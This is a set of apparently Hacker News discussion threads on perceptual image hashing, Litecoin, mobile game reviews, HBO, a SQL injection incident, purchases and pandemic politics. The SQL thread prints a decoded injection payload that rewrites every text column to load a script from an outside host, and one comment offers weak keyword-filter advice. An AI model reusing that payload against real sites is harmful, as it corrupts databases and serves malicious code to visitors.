Best practices for engineering is always to see what else is out there, so to assume the author hasn't conducted a review of the field might be read as rudeness or snark.

Many developers, even when they do compare and contrast their own work as they develop it, don't write up the results or list their peer projects, so it's otherwise not an unfair question to ask.

<comment><USER6> But I actually want to know what I'm missing-- what's interesting about this "closed source but available for academic purposes" application which appears to simply be a re-implementation of existing work?

I'm trying to give benefit of the doubt here actually.

<comment><USER8> It's using a very similar technique to pHash, actually. DCT-based hash and all. It's not brand new, but perhaps a variation on a theme.

I've actually been working in this domain for the last week or so and DCT- based hashes are quite accurate, but slow as hell. Average hashes (aHash) or Delta Hashes (dHash) are _much_ faster and rather good at weeding out large numbers of images. A mix of ideas is usually a good idea.

<comment><USER9> Yup, it's been shown that the accuracy of a set of poor classifiers together can be greater than a known 'good' classifier.

The implication is that there's no single 'perfect' classifier for a problem, engineers have used this notion for many years having multiple systems vote for fail-proof operations.

</comment></comment></comment></comment></comment><comment><USER10> Hash functions impose practical mappings between unlike domains. When volatile (~1-to-1) identifying (crypto), when correlated (~n-to-n) perceiving (AI).

(Tweet summary of the article. I'm becoming increasingly fascinated by hash functions. I'm finding all important this tension between abstraction/correlation/perception & groundedness/volatility/identification.)

[https://twitter.com/elzr/status/497893639000190976](https://twitter.com/elzr/status/497893639000190976)

<comment><USER11> That is a remarkable way to put it. But aren't has functions -- per definition -- n-to-1? That seems to be what the perceiving function is about: map multiple sensations into a single correlated perception.

<comment><USER10> Thanks for pointing it out, you're right! I rewrote the summary (the original is still at the linked tweet). So it's ~1-to-1 (usually, that's what I mean with practical) when it's volatile. And I'm calling it ~n-to-n (again, usually, practically) when it's correlated: mapping ~n correlations in the source domain to ~n correlations in the destination.

To my mind, an ~n-to-1 mapping would actually be a bit more like idealistic Platonic classifying than Wittgensteinian perception (~"we spin perceptual threads by twisting n attributes like fiber on fiber. And the strength of the thread does not reside in the fact that some 1 fiber runs through its whole length, but in the overlapping of the fibers.").

What do you think? :)

</comment></comment></comment><comment><USER12> Also look at Semantic Hashing, which uses deep learning to compress an input (e.g. a document) into a low dimensional bit vector with fast lookup:

[http://www.cs.toronto.edu/~rsalakhu/papers/semantic_final.pd...](http://www.cs.toronto.edu/~rsalakhu/papers/semantic_final.pdf)

The idea is that you could hash one billion objects, and do a very fast lookup of similar objects.

There is later academic work that refines this approach. For example, here is work applying it to image search: [http://www.cs.utexas.edu/~grauman/temp/GraumanFergus_Hashing...](http://www.cs.utexas.edu/~grauman/temp/GraumanFergus_Hashing_chapterdraft.pdf)

You can consider this a variant of Locality-Sensitive Hashing, where the hash function is specifically induced through a machine learning technique.

</comment><comment><USER13> Does the term "perceptual hashing" only apply to the domain of images? What would you call this concept applied to text files? I am familiar with Levenshtein distance, but that family of algorithms provide a similarity score or value whereas I'd like a hash as the output.

<comment><USER7> What would you be hashing, on a text file? What the text "looks like," e.g. particular density and repeated patterns of alphanumerics?

Or would you be hashing the content, the language, the words used, the meaning of the words?

Stylometry is the study of written style. It's used forensically to see if two texts were written the same, to identify anonymous/pseudonymous authors, and there's "adversarial stylometry," which is intentionally changing a writing style to make it look like someone else wrote something.

This deck seems to summarize a lot of these points and issues, but offers no "stylometric hash" solution: [http://wiki.uni.lu/mine/docs/RDPresentation.ppt](http://wiki.uni.lu/mine/docs/RDPresentation.ppt)

Plagiarism detection is another forum that might do these sorts of analyses. How many metaphors do you have to change, and synonyms do you have to replace, before it's an original work, or would it always still hash nearby?

Textometry tries to make texts more analyzable. Wordprints or stylometric fingerprints, seem to turn up more results than "hash".

<comment><USER13> Hm. Well, I want to hash the pattern of bits in the text file, like a cryptographic hash does (suppose md5 or sha-1 for simplicity's sake).

I'll provide some examples of input and output. These examples happen to contain no linefeeds.

Suppose:

        Hello, World! --> 65a8e27d8879283831b664bd8b7f0ad4

Then I want something like:

        Hello, Worlds! --> 65a8e27d8879283831b664bd8b7f4ad4

...Rather than what md5 currently provides:

        Hello, Worlds! --> d0478649ad1c15f0e623846c3e26ebeb

Basically, I love hashes and I use them all the time, but for many purposes I am only _accidentally_ using the cryptographic features and in fact I would sometimes find it nice if similar inputs had similar outputs.

Said differently: I'd like a hashing algorithm where the Levenshtein distance between any given two outputs correlates with the Levenshtein distance between the corresponding inputs.

I can imagine lots of uses for such a tool. ...But I can't imagine how it could be possible to make one: files (or strings) vary in length, for one thing, but a good hash does not! Of course, I couldn't imagine md5 before I saw it in action, either.

<comment><USER14> Perhaps I'm missing the point, but I came up with a naive and sloppy part solution: [https://gist.github.com/peterc/737d9178f02118f8e315](https://gist.github.com/peterc/737d9178f02118f8e315) .. there are some weaknesses to this solution but it does perform similarly to your examples.

<comment><USER13> Thanks, Peter. I don't speak Ruby. Uh, line 5 contains a small function definition, which is applied to each ...slice of the input string, is that right?

Do you (or anyone else) have time to describe this code in English or pseudocode?

I'll start.

        Let there be a function called hash which takes a
            string named str and an integer named
            length_of_hash (which defaults to 20).
        Slice the string (str) into length_of_hash equally-sized
            pieces?
        Take numeric value of each character (of each slice??)
            and do.. something to it, something involving
            modulo 256, unless it's zero.  Save all the
            results.
        Express each numeric result as hexidecimal and append
            all those together.  Return it, probably.

Clearly there are bugs in the translation. :)

<comment><USER14> In short, convert the input string into an array of its character values, group those values into sub-arrays of length 'x', add together the aligned values in each sub-array and modulo each by 256, output the resulting values in hex pairs joined together in a big string.

Example, with a hash length of 4: "helloworld" => [104, 101, 108, 108, 111, 119, 111, 114, 108, 100] => [[104, 101, 108, 108], [111,119,111,114], [108, 100]] => [67, 64, 219, 222] => "4340dbde"

So if one character is different in the string, only one hex value in the output will vary too. However, a flaw of the plan is that changes spaced out at an interval that matches your hash "length" will only affect one hex value in the output, but you run into the pigeonhole principle if you want a hash of limited size to have the same or similar Levenshtein distance as the potential inputs, but I suspect there are far smarter solutions :-)

</comment></comment></comment></comment></comment></comment><comment><USER15> How would an adversary break this?

My first idea would be to rotate it by something that's halfway between the steps used. Say, 360/32 degrees. How does that compare?

Also: because it discards the high frequency data one should be able to construct something like this: [http://cvcl.mit.edu/hybrid/CatDogHybrid.jpg](http://cvcl.mit.edu/hybrid/CatDogHybrid.jpg) \- where to us at a close distance it looks like one thing but to this it looks like something else.

<comment><USER4> It would be pretty easy to assign any image an arbitrary value. Compare the image's current (unquantized) DCT values to the desired ones, find the value that differs from the target but is closest to being quantized as the desired bit, and apply a filter that just barely flips it. Each time you do this you reduce the Hamming distance score between the image and the target by 1.

If getting close enough results in unsightly blotches on the image, reduce the power of the low frequency luminance channel across the board, which will mask the changes by making the unmodified high frequency components more noticeable. That looks like what's being done in the catdog image, at least.

You could increase the saturation as well, as this fingerprinting system ignores color.

</comment></comment><comment><USER14> If this sort of thing fascinates you, here's a related approach: [http://grail.cs.washington.edu/projects/query/](http://grail.cs.washington.edu/projects/query/) .. for some reason numerous people were working on image search features like this (i.e. draw what you want to find) 10 years ago but they don't seem to have caught on other than with Google Images.

</comment><comment><USER16> Very interesting approach.

I have worked with image feature extraction in the past. Although using DCT coefficients has been used as a way to analyze texture features, the idea idea of generating the hash (step 5) seems to be new.

I am curious however on why you are discarding color information. Usually for reverse image search this kind of information can be quite useful.

<comment><USER8> Not new. pHash (phash.org) has been doing it for a while now. :)

</comment></comment><comment><USER17> This seems to work well for modifications that are basically in-place and high frequency, but how well does it handle things like one image being a crop of another, or translation, or flipping?

</comment><comment><USER18> Hashes are supposed to change a lot with small changes in the data source. I wouldn't call this hashing, but fingerprinting, and there're plenty of fingerprinting algorithms for images, some related to steganography.

<comment><USER8> A cryptographic hash, yes. Not all hashes are cryptographic hashes.</comment></comment>


Litecoin - <AUTHOR> http://litecoin.org/

<comment><USER2> AMD 6970 GPU output Bitcoin: ~300Mhashes/sec Litecoin: ~300Khashes/sec meh

<comment><USER3> how do you convert this to average coins per hour?</comment></comment>


Neetforge: a startup accelerator for NEETs and shut-ins - <AUTHOR> http://www.neetforge.com/

<comment><USER2> Unfortunately, I couldn't find a clue on the site about what "NEET" refers to. So, for those, like me, who had never heard this term before:

[https://en.wikipedia.org/wiki/NEET](https://en.wikipedia.org/wiki/NEET)

</comment><comment><USER3> I gotta wonder: given that a startup is probably the most emotionally demanding professional activity you can engage in if you're _stable_ , is it really a good idea to encourage mentally ill shut-ins to found one?</comment>


Dungeon Keeper stacks deck in EA's favor when it comes to Android feedback - <AUTHOR> http://www.polygon.com/2014/2/6/5386406/dungeon-keeper-stacks-deck-in-eas-favor-when-it-comes-to-android

<comment><USER2> Something similar happened to me recently with an iPad game. I got a popup that asked if I was enjoying the game, and clicking yes took me to the app store review page. I am guessing that if I clicked no, it would not have.

I really wish I could remember what game did that.

</comment><comment><USER3> Absolute evil genius, expect this to become the norm.

> I just wish for a Dungeon Keeper version of $5 and with no In App-Purchases

That's the problem, they wouldn't make enough money if you bought it for $5, they'd need to sell it for $15-$25 to make a decent profit. It's quite amusing how mobile game fans act like they're being really generous offering the branch of $5 (Less than a cup of coffee) to developers for hours of entertainment.</comment>


HBO, I would gladly pay $15 a month for streaming service - <AUTHOR>

You make it like NF with no ads and let me watch on my PC or phone with no BS. Don't f*©k it up with ads like Hulu has done. <comment><USER2> HBO doesn't sell to subscribers. They literally don't have that information, they have no idea who their subscribers are. They sell content to cable companies. So all you need is for a cable company to sell an HBO-only package for $15/mo, then use HBO GO like normal.</comment>


SQL "development" gone horribly wrong...  - <AUTHOR> http://boston.craigslist.org/gbs/sof/742662737.html

<comment><USER2> Decoded:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=[http://www.suppadw.com/b.js></script>'''](http://www.suppadw.com/b.js></script>'''));''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

</comment><comment><USER3> shared hosting? get your own box, turn off apache for a while and go through code with a fine tooth comb.

<comment><USER4> SQL injection attacks have nothing to do with whether they are on a shared box or running in a locked down cage. If they have any hope of fixing this mess, they need to start from advice that helps, not voodoo.

<comment><USER3> I just meant if they had their own box they would have more control over it.. they said they had to wait for a support guy with perms to do the db restores.

</comment></comment></comment><comment><USER5> \- all web input needs to run thru the same filter \- that filter disallows SQL keywords \- you're done

If this guy wasn't on a shared host, he could just install mod_security and its default config should take care of it. Presuming Apache of course.

<comment><USER6> I think ANDrew, TOny, SETh, and BYron might have problems with that filter.

<comment><USER5> They might if the programmer didn't have the sense to surround the keywords with word boundary markers. You know, something like %20SET%20 etc. I do this successfully with mod_security, and a good regex kit will let you do this easily.</comment></comment></comment>


Ask HN: Best purchases over/under $100 in the past year - <AUTHOR> I thought this might be an interesting discussion that could be mutually beneficial to all of us. Unless the brand of the product is important, I would suggest not specifying it but do include the price and maybe why it has been a great purchase for you.
For me:
Under $100: Laminated wall dry-erase calendar ($30).
Sharing online calendars with my wife has always been a pain and now instead of having to find and unlock our phones to check something, we have a big display of our schedule right in the entrance to our apartment. Every-time we leave or come home its there for us to check and update. We never miss any appointments or reminders anymore, well worth the price imo.
Over $100: Under sink water filtration system ($150).
This was easy enough to install and provides really great tasting water that passes through 4 different filters with a large tank (3 gallons I think) to hold the water. No more hauling jugs of water from the supermarket and dealing with a ton of plastic waste. I need to drink a lot of water due to health issues and this has helped so much.
I look forward to everyone's contributions and getting some new ideas from them! <comment><USER2> Under $100: Investing in bullet journaling. $20 for the book, $15-$20 for each journal I go through, and getting a little nerdy about pens, but still cheap. _Bullet journaling changed my life_. As a lifelong ADD sufferer and disorganized person, switching to a rich paper calendar system and note-taking system did something for me no clever software ever did.

Over $100: 1985 Mossman acoustic guitar ($1600). I'm a serious, lifelong guitar player, and this guitar filled a need I had for a great-sounding, great-playing acoustic for gigging, jamming, and getting knocked around. I love the sound and feel, but it wouldn't cause a nervous breakdown if broken/stolen (unlike my best acoustic guitar).</comment>


Tribalism comes for pandemic science - <AUTHOR> https://www.thenewatlantis.com/publications/tribalism-comes-for-pandemic-science <comment><USER2> There are times I'm glad I left health science/biology/medicine as a field and it's interesting to watch people slowly realize just how badly structured the entire human health field is organized (from academic research to research hospitals to profit hospitals to world health organizations) and how all the incentives are messed up.

The closer you get in biology to human health, the more ego, tribalism, and assholery you have to deal with. Something about "saving lives" really brings out the intelligent jerks and the sharks.

As a contrast, I enjoy working in computing so much more. The experiments people run are replicable, the code compiles, and people (in general) are far less egotistical and arrogant (still plenty of sharks, though).

I've watched enough major paradigm shifts in my own fields to know that embracing humility, admitting your own ignorance, and being open to new ideas is key to the furtherment of science.

<comment><USER3> I will second this as I am currently working in the biotech field. The amount of short sighted thinking and opportunism from small start ups to the most massive CMO's in the world is staggering.

My take is that the whole field is extremely underfunded and that breeds levels of competition and short term profit seeking, but that's probably a biased opinion.

I'm sure if the field had the level of VC support that traditional software/computing gets we would be making huge strides with our humanity.

<comment><USER2> I don't know if the field is underfunded. What I'd say is that the area is very risky (few ideas really pan out), there are lots of powerful incumbents who want to retain the many-billion-$ revenue streams, and it's very costly to test. But I also see people wasting huge amount of money chasing ideas that really would be better handled with shotgunning (the tech VCs I used work with said "why would I want to invest $20M in a biotech that fails after 20 years, when i can invest $1M in 20 tech startups and one of them will make $1B in 2-3 years?").

It's not clear to me that investing more money helps, either. For example, the NIH doubled its budget during the Clinton era, leading to far higher numbers of grad students being trained than there were positions (prof, etc) in their fields. So there was a glut, super-high competition for a limited number of spaces, and many people dropped out of the race to be a prof and instead went to be ML/data science people at ads firms.

</comment></comment></comment><comment><USER4> Not to sound alarmist, but recent events have felt like the early warning of a pending collapse of our country. When I saw healthcare workers and officials abandon logic, reason, and evidence to put their weight behind justifying recent mass protests, I really lost a lot of faith. These protests obviously will result in thousands more deaths (much larger in number than unjust police-involved deaths). This is no longer about losing faith in institutions alone, but really about losing faith in fellow citizens who are willfully burying their heads in the sand and willfully acting in bad faith nearly all the time. Of course, there is plenty of blame to hand out for all sides, going back well before recent events and well before COVID-19 itself.

My question for HN: what has happened to past societies when they reach this point, where emotions and tribalism cause all sides to hate each other, to talk past each other, to hold each other to unequal standards, to use every last loophole/technicality to win through bad faith means, etc.? Have any such societies de-escalated from there to a point of stability again?

<comment><USER5> I think that you are making the same mistake that you are accusing healthcare workers and officials of making. You are assuming that these protests will "obviously" result in thousands more deaths because it feels that way to you. I believe that that's pretty unlikely, though, since there are probably fewer than a million protestors across the country. Many of the protestors are wearing masks and the protests being outside reduces the risk of spreading the disease. There will certainly be some spread due to the protests, but probably not nearly as much as at grocery stores or churches. You are also assuming that this is just about unjust police-involved deaths; it is not. It is about the many millions of negative interactions with the police and justice system that perpetuate poverty (police lying under oath, egregious sentences for non- violent crimes, etc.) I don't think it's a bad faith argument to say that correcting these injustices is more important than maintaining a totally strict quarantine.

The reason both sides talk past each other is because they have different values and different assumptions. Based on your post your first priority is preventing deaths and your assumption is that these protests will cause more deaths than they prevent. My first priority is living in a fair world, with preventing deaths being a close second. My assumption is that the protests will not cause a large number of excess deaths, but that they do have a high chance of moving our justice system closer towards real justice. I also am making the assumption that living in a fair and just society will increase overall health outcomes over the long term.

I believe that most (but definitely not all) people don't argue in bad faith, they just have different values and make different assumptions. There's not much that can be done about having different values, but better data can help every side have more similar assumptions, which should help opinions to converge somewhat.

<comment><USER4> > You are assuming that these protests will "obviously" result in thousands > more deaths because it feels that way to you. I believe that that's pretty > unlikely, though, since there are probably fewer than a million protestors > across the country. Many of the protestors are wearing masks and the > protests being outside reduces the risk of spreading the disease.

I am not the one saying this. Trevor Bedford (Associate Professor in the Department of Epidemiology at the University of Washington) noted that the protests will add 200-1100 deaths per day of protests: [https://twitter.com/trvrb/status/1269533303536664576](https://twitter.com/trvrb/status/1269533303536664576). This is based on his mathematical modeling of the protests.

> I don't think it's a bad faith argument to say that correcting these > injustices is more important than maintaining a totally strict quarantine.

My point is that if one [demographic or political] subset of people gets to evaluate the tradeoffs and decide for themselves that yes, protesting is worth it even with the risks of the coronavirus, then everyone should get to exercise that choice. You and I should get to exercise that choice when we visit a business or take on some outdoor activity or whatever. It seems to me that personal discretion is allowed only for favored groups and causes, and that seems in itself, unjust.

> The reason both sides talk past each other is because they have different > values and different assumptions.

I think this is probably correct. So to rephrase my question, can a society with two big groups holding such divergent values survive? Or is it inevitable that is splits apart?

<comment><USER6> _can a society with two big groups holding such divergent values survive? Or is it inevitable that is splits apart?_

There are historical examples in both directions, so arguably we don't know.

A society that didn't survive: Russia during the Bolsheviks. One group was so aggressive it took over completely.

A society that did come back from the brink: perhaps Britain during the 1970s?

[https://en.wikipedia.org/wiki/Winter_of_Discontent](https://en.wikipedia.org/wiki/Winter_of_Discontent)

Left / right conflict resulted in widespread strikes, three day weeks, an IMF bailout, power cuts, garbage piling up in streets, bodies going unburied, hyperinflation and so on. It was resolved after voters replaced the left wing government with a right wing one that radically reformed trade union laws and refocused policy on inflation control, but at the cost of a huge recession. The UK pivoted from quite far leftism to (for Britain) nearly libertarian government within the span of one or two elections; eventually Thatcher's libertarian policies led to riots and she was kicked out by her own party. After that both parties moved more towards each other, paving the way for many years of Blairite centrism.

</comment></comment></comment></comment><comment><USER7> Whenever science and politics intersect, science loses. If science is studying something apolitical like the metabolism of water bear or a quasar burst from a distant galaxy it's fine. Throw politics in the mix and the waters become muddied very quickly when funding and reputational concerns motivate and corrupt a delicate process.

Politics is like Lennie who wants to pet the rabbits. Science is like the rabbits.

<comment><USER8> I am honestly and hearteningly surprised to even hear these sentiments from someone else here, which I have now observed for years. It's one reason why I love HN.

I'm not in the science field, but I absolutely am a student of human nature (and mindfulness). It's unbelievable how much the mechanism of science is dirtied, distorted, and abused by our emotional pride, greed, tribalism, fear, and all other aspects of human nature, which show that - for all our intelligence - we humans are wired for survival, and only wired for truth if and when it helps that survival. If truth comes at odds with it, we will lie - even if to ourselves, and at very deep subconscious levels - as much as we need to.

Rationalisation: [https://en.wikipedia.org/wiki/Rationalization_(psychology)](https://en.wikipedia.org/wiki/Rationalization_\(psychology\))

How this biological reality plays out is complex. It's not just in our lizard brain, but the entire realm of our secondary limbic brain, with its 'tribal' swirl of social emotions and resulting behaviours. 'Survival' means a great of things, not just literal survival right in front of you right now. It's a powerful and primary goal coursing through our blood and all behaviour at the deepest and most subtle levels. We would do well to educate about this fact, and practice mindfulness to be able to see it in ourselves.

</comment></comment><comment><USER9> The people who said that lockdown needed to be limited in length because people couldn't take it for long were right.

Unfortunately, due to not understanding exponentials, many advocated for starting the lockdown _later_ : hence the UK's delayed lockdown and therefore highest death toll in Europe.

The people advocating for "herd immunity" never addressed the death rate; a death rate of even 0.5% in the UK would be _three hundred thousand people_ , plus more with lingering side effects. As it is, we've confirmed 287k infected for 40k deaths, or 0.5% of the country infected. A very, very long way from immunity.

<comment><USER10> > 0.5% of the country infected

Your own numbers show this is totally incorrect: death rate 0.5% times 40k deaths, means infected is 8 million (or more precisely the count was that number some weeks ago as deaths take time to happen).

this has been an obvious calculation from the start and I am not the only person trying to correct the misuse of the confirmed infected count (287k) for your conclusion.

Honest question: why do you not know this?

<comment><USER9> > why do you not know this?

Leading with an insult?

I agree that the numbers don't match up and the country is almost certainly more infected than we think, but we cannot _know_ how widely infected we are until we've done the testing! Even the death rate has a factor of two variance between "definitely COVID" and "excess deaths".

The failure to ramp up testing is yet another thing to blame the poor government response for.

<comment><USER10> I apologise: my question was rude.

However, your comments feel to me like an engineers rationalisation - technically correct but misdirected. The feeling is vague, and my words are not describing it correctly. I suspect that I would need a high bandwidth medium to discuss this.

</comment></comment></comment></comment><comment><USER11> Just a quiet reminder that accounting for other peoples' actions with "partisanship" and "tribalism" is just a very easy way to stop thinking about their reasoning or motivation. If someone explained your behavior away as unthinking loyalty or allegiance you would be offended-- and rightfully so.

P.S. This article is not an apolitical analysis of politics, this journal is not an apolitical scientific journal.

<comment><USER12> Evaluating whether an opinion is partisan is not ignoring their reasoning or motivation. Quite the opposite, it is evaluating their reasoning and motivation and determining the extent to which that reasoning and motivating is influence and determined by partisanship or group affiliation.

Expert opinion is supposed to be formed by empirical evidence and science. Not political affiliation or personal opinion. For instance, an expert opinion would be, "protests of X size stand to increase rates of infection by Y%" Whether or not a certain protest justified in accepting that increase of infection is a question of personal values not medical science.

Is protesting against police brutality worth the increased rate of infection? Is protesting against the lockdowns and subsequent mass unemployment worth the increased rates of infection? It's fine to form your own answers to these questions. But these are questions determined by values, not science. Expert opinions have no business trying to answer these. But medical experts are making the latter statement, and are doing so in a way that comes off as extremely partisan:

> We can show that support by facilitating safest protesting practices without > detracting from demonstrators' ability to gather and demand change. This > should not be confused with a permissive stance on all gatherings, > particularly protests against stay-home orders. Those actions not only > oppose public health interventions, _but are also rooted in white > nationalism_ and run contrary to respect for Black lives.

How on Earth are we supposed to trust these experts' advice on when to lift lockdowns when they openly state that resistance to lockdowns is rooted in white nationalism? Let alone the double standard in supporting some protests while opposing others. As much as I am inclined to defer to experts, messages like these makes it extremely hard for me to do so here. When medical experts are making statements like these, it is highly indicative of reasoning informed by partisanship rather than science.

<comment><USER11> Here's some possibilities:

There's a lot of experts out there, and depending on how the people who fill your feed pick and choose them, they can make them say anything they want. Some experts might change their minds when confronted with a new extraordinary situation. Others are, well, not experts, they just have the credentials of experts.

"Experts" have been decried as hypocrites and frauds since the time of Lao Zi, for what its worth. All your interactions with expertise are mediated and indirect, except the expertise you yourself have.

</comment></comment></comment><comment><USER13> "don't wrestle with a pig. You'll both get dirty but the pig will love it"

Somehow the lowest kind of politics, on all sides, manage to drag us all down to their level. A culture war is just like any other war in the sense that on the battlefields nobody wins, and both sides lose.

As a child growing up late last century, I always wondered how prosperous progressing culture's could have collectively devolved into the dark ages. I saw the seeds of the unraveling start in the 80's, but like any exponential process, it took some time to become a clear vector.

I am not sure this is a preventable or correctable evolution at this point, as the devolution forces are enshrined within the system itself, leaving only room for a collapse at the meta level.

I may be wrong. I truly hope I am.

</comment><comment><USER14> "You're probably doing it right now — skimming quickly to the end of this piece to see if I'm criticizing you or only those other people who behave so irresponsibly."

An article decrying prejudice gives us its own demonstration of it. Does that somehow make the case better?

<comment><USER15> An article decrying prejudice lets the _reader_ give their own demonstration of it.

</comment></comment><comment><USER16> Question:

Has anyone here changed their mind about COVID19 in a major way as the data has become more complete?

Just wondering. I have sensed in myself tribalistic tendencies of not changing my mind when the data changes. I'm trying hard to look at myself and recognize it and experiment with different thoughts.

I find myself bouncing between thinking we have overreacted to then thinking that my perception of an overreaction is paradoxical because we did lock down and have contained the virus' damage to some extent. I'm trying hard to be super open-minded about the data, and recognizing that I'm just a simple primate whose brain doesn't want to expend energy and resorts to bias to conserve it.

<comment><USER17> I was pro lockdown at the beginning. Now, I'm convinced that we could have gotten most of the benefits with a substantially less invasive approach, especially outside the mega cities.

<comment><USER18> Or a shorter harder lockdown earlier on, combined with rigorous test and trace programme.

<comment><USER19> I think it's pretty clear the best use of a lock down is to allow time to develop and improve the infrastructure and protocols to do this properly.

But if you lack the competence or political/social will to do this properly, all you really have in the face of rising (or rising again) case numbers rolling lock downs and wait in hope of a vaccine. Or failing to manage it spectacularly, that also seems to be an option.

</comment></comment></comment></comment><comment><USER20> This is so very disheartening. I will speak only for the United States, as I am not familiar enough with other countries to comment. Not only is this impacting nearly every single person in the country, it is ruining the financial situation of over 40m people, primarily concentrated within the most financially vulnerable. This is because leaders on the left and right have refused to respond to new data, and are working with the same plans set in March. We _now_ know that children are at a very low risk, people under 40 are very low risk. Most risk is within shared living situations (migrant workers, retirement homes, prisons). We can respond to the _real_ risks and use a nuanced approach that actually saves lives. But instead, the left says "lockdown lockdown lockdown" and the right says "open 100%"... Both are full of shit to the point of it being disgusting.

This isn't a game. This has life and death consequences so far beyond COVID-19, and the lack of foresight that the partisans are demonstrating will have reverberations for generations. We are playing the life of real people, we are risking the financial security of real people, who have families and debts and dreams.

Finally, the fact that the public health sector has devolved into partisanship really has me worried for when we _actually_ have a repeat of Spanish Flu, or a more virulent Ebola etc. Then we are screwed.

Edit: fixed a typo

<comment><USER21> In fairness, the right has been pretty consistent about tailoring the response according to risk—i.e., those who are at risk should isolate and everyone else should resume work. They happened to be right in this regard. The left has also made exceptions in their "lockdown everything" policy, specifically with regard to their own protests (and the response of pandemic experts is a particularly interesting case study of the polarization of science production as opposed to the polarization of science consumption).

<comment><USER20> I didn't want to get into a game of who has been most wrong, because that will automatically trigger people to go back to their camps and hunker down. I agree that the "isolate the vulnerable, continue with life otherwise" is most likely the best outcome. The fact that this idea is attributed to the right is going to mean it is DOA, for the most part.

<comment><USER22> i would like to know how to "isolate the vulnerable"...?! We send to an island? we weld inside home? We should talk only if we have a realizable plan and not a "dream/idealistinc" plan.

<comment><USER20> Well we were able to somewhat effectively isolate the entire country, so I would say have modified stay-home orders that target those who are most vulnerable. That, in addition to common sense acts like hand washing, isolating the sick etc. would go a long way to flatten the curve enough to not overwhelm the hospitals, which after-all was the original goal.

<comment><USER23> The problem is that you can't isolate the most vulnerable fully. The current lockdown works because it reduces the spread through the wider society, including all the people who are in contact with the most vulnerable. If you don't do that, then we have the Sweden scenario where _inevitably_ there's someone young and fit and infected who brings the disease into the institutions that should be protected, because these young and fit and infected people work there or go there to deliver things.

Alternatively, you need a total quarantine isolation - e.g. anyone working in a care home should live there and can't touch their kids if they go to a school where will be spread because everyone else's parents are not on lockdown. Or the most vulnerable will die.

<comment><USER24> And has been widely discussed, Sweden has had a lot of excess deaths. Look at death rates compared to Finland, Norway, Denmark.

</comment></comment></comment></comment></comment></comment></comment><comment><USER25> ,,people should not be walking around with masks''

What Fauci was telling to people is not science. I was wearing my N100 masks when I had the chance, because I hadn't seen any evidence of masks making the coronavirus more infectious, but much evidence to the contrary. The whole anti-mask propaganda made it hard to me to trust scientific leaders, and even some papers at this point.

<comment><USER26> The anti-mask "propaganda" was obviously an only partially successful effort to preserve the supply of masks for first responders. If the CDC/WHO and came out and said everyone wear masks in the beginning of march the supply would have spiked harder and faster than it already did, likely resulting in more health care worker fatalities.

<comment><USER27> Successful or not they lied to the public openly about the benefits of wearing masks. Not only does this destroy whatever credibility they had with the public, but it also shields government and health officials who failed to stockpile enough masks for inevitable outbreaks and offshored our medical productive capacity to China from accountability (making it more likely we will face the same shortages during the next, inevitable crisis).

</comment></comment></comment><comment><USER28> There's almost certainly a lot of safe opening up we could do. What would make it dramatically safer would be pro-social behavior from people on the right. The protesters are all wearing masks and doing their best to maintain social distance outside of the actions. They calculate that it is worth the risk. Time will tell, but the calculus isn't merely do the protests increase the spread? but also will they achieve political goals that have a large bearing on public health, specifically the health of people whom the US Coronavirus response is already systematically failing (black people, whose lives matter).

<comment><USER29> > The protesters are all wearing masks

Really? I keep seeing people saying this. It's laughably false. Here is the governor of MI at a protest that breaks her own rules about social distancing and protests, directly between two men without masks. (Just one high profile example.)

[https://mobile.twitter.com/TPCarney/status/12689028204108431...](https://mobile.twitter.com/TPCarney/status/1268902820410843136)

<comment><USER28> Been to a major one, and a very, very high percentage of the people there wore masks, enough that it was consistently odd to see people without them. Also people trying as much as possible to keep a little space between each other. Who wasn't wearing masks, consistently? White male police (the National Guard was all masked). Doubt me if you want. Obviously a rhetorical "all" and very easy to find photographic counterexamples. But certainly most.

<comment><USER28> Also there were many people distributing masks to the maskless, and people whose sole mission was to pump hand sanitizer onto people's hands. The people in the crowd care about the virus and for the most part when right back to social distancing after leaving the protest.

</comment></comment></comment></comment><comment><USER30> Great article, especially the bit about the healthcare professionals' statement on BLM protests. However this article (and the public at large) fail to distinguish between what doctors practice, and science. Medical doctors are about as far from scientists as you can get: they're highly trained robots. They don't perform science; at best they write up a case study. Jumping to conclusions from insufficient data is what they consider "expertise".

</comment><comment><USER31> "Tribalism" didn't come for pandemic science. _Tribalists_ did.

Every individual has the power to behave forthrightly, with epistemic hygiene. You can't shove the responsibility to do that onto a nebulous interstitial emergent effect.

</comment><comment><USER32> Science as you know it is dead: [https://guscost.com/2020/05/12/pandemic- woo/](https://guscost.com/2020/05/12/pandemic-woo/)

<comment><USER33> That was a really poor read. Anxiety from lockdown is going to kill more people than coronavirus?

Like, I'm not exactly an ardent supporter of lockdown but it's clear we've saved many lives by keeping hospitalizations minimal. Even if that estimate is below what initial models suggested, it's inept to suggest it was useless.

Likewise you fail to actually link to any stats to support claims about increased suicide rates or deaths from heart attacks, while linking to a 404 as a source for New York state supposedly hiding pushing covid cases into nursing homes.

Science has issues but this is trending towards baseless tabloid journalism instead of a serious introspection of methodological flaws.

<comment><USER32> You skipped over a lot, and we will see about the rest. I can't prove most of it right now, but it is what I think. In fairness it is perhaps way too cynical for your taste, so if you prefer a serious introspection, try this: [https://americanaffairsjournal.org/2020/05/science- without-v...](https://americanaffairsjournal.org/2020/05/science-without- validation-in-a-world-without-meaning/)

</comment></comment></comment><comment><USER34> "Yuval Levin is director of social, cultural, and constitutional studies at the American Enterprise Institute, editor of National Affairs, and a senior editor of The New Atlantis." Useful context before the click.

</comment><comment><USER35> I try in general to steer clear and not to comment on anything regarding both the pandemic and the protests, but I gotta say that that open letter is the most bizarre take I've read on both issues. Or it at least gives even Trump's most outrageous tweets a run for their money.

</comment><comment><USER36> _" In this century, we have become accustomed to heated political debates that somehow avoid contact with reality."_

Which is a big problem. It keeps the US from actually _doing_ anything.

